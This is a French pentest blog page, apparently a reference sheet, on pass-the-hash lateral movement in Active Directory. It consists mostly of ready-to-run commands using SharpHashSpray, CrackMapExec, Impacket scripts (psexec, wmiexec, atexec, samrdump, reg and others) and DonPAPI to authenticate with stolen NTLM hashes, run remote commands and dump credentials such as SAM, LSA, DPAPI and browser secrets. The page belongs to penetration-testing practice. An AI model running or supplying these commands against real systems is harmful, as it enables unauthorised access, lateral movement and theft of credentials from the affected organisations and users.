> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/pentest-ad/mouvements-lateraux/pass-the-hash.md).

# Pass The Hash

## SharpHashSpray

Un outil compatible avec l'assemblage d'exécution pour tester les hachages d'administration locale sur un domaine Active Directory.

Exemple d'utilisation:

*`$ SharpHashSpray.exe Administrator <hash>`*

ressource: <https://github.com/RedCursorSecurityConsulting/SharpHashSpray>

## SMB

### Crackmapexec

```bash
crackmapexec smb <target IP> -u '<username>' -H '<hash>'
```

## Impacket

### Psexec

#### psexec.py

```bash
python psexec.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 <username>@<target IP>
```

### WMI

#### wmiexec.py

```
python wmiexec.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 <username>@<target IP>
```

### RPC

#### rpcdump.py

```
python rpcdump.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 <username>@<target IP>
```

### Exécution de commandes à distance

#### atexec.py

```
python atexec.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 <username>@<target IP> whoami
```

#### Lookupsid.py

```
python lookupsid.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 <domain>/<username>@<target IP>
```

#### Samrdump.py

```
python samrdump.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 <domain>/<username>@<target IP>
```

#### reg.py

```
python reg.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 <domain>/<username>@<target IP> -keyName <key>
```

## DonPAPI

DonPAPI permet de dumper les identifiants sur une machine à distance (LSA, DPAPI, SAM, WIFI, Vaults, Chromes secrets, Mozilla secrets, mRemoteNG secrets, mots de passe VNC et autres).

Exemple d'utilisation:

```
$ DonPAPI.py --hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 <domain>/<username>@<target IP>
```

Ressource: <https://github.com/login-securite/DonPAPI>

## PTH Toolkit

En 2012, un tas de scripts pass-the-hash ont été introduits lors de la conférence BlackHat USA cette année-là. Ils étaient disponibles sur Google Code Archive. En raison de leur convivialité et de leur popularité, Kali Linux les a présentés à la version 2013. Ils ont inclus les scripts suivants dans leur pth-toolkit.

* **pth-curl**
* **pth-rpcclient**
* **pth-smbget**
* **pth-winexe**
* **pth-wmic**
* **pth-net**
* **pth-smbclient**
* **pth-sqsh**
* **pth-wmic**
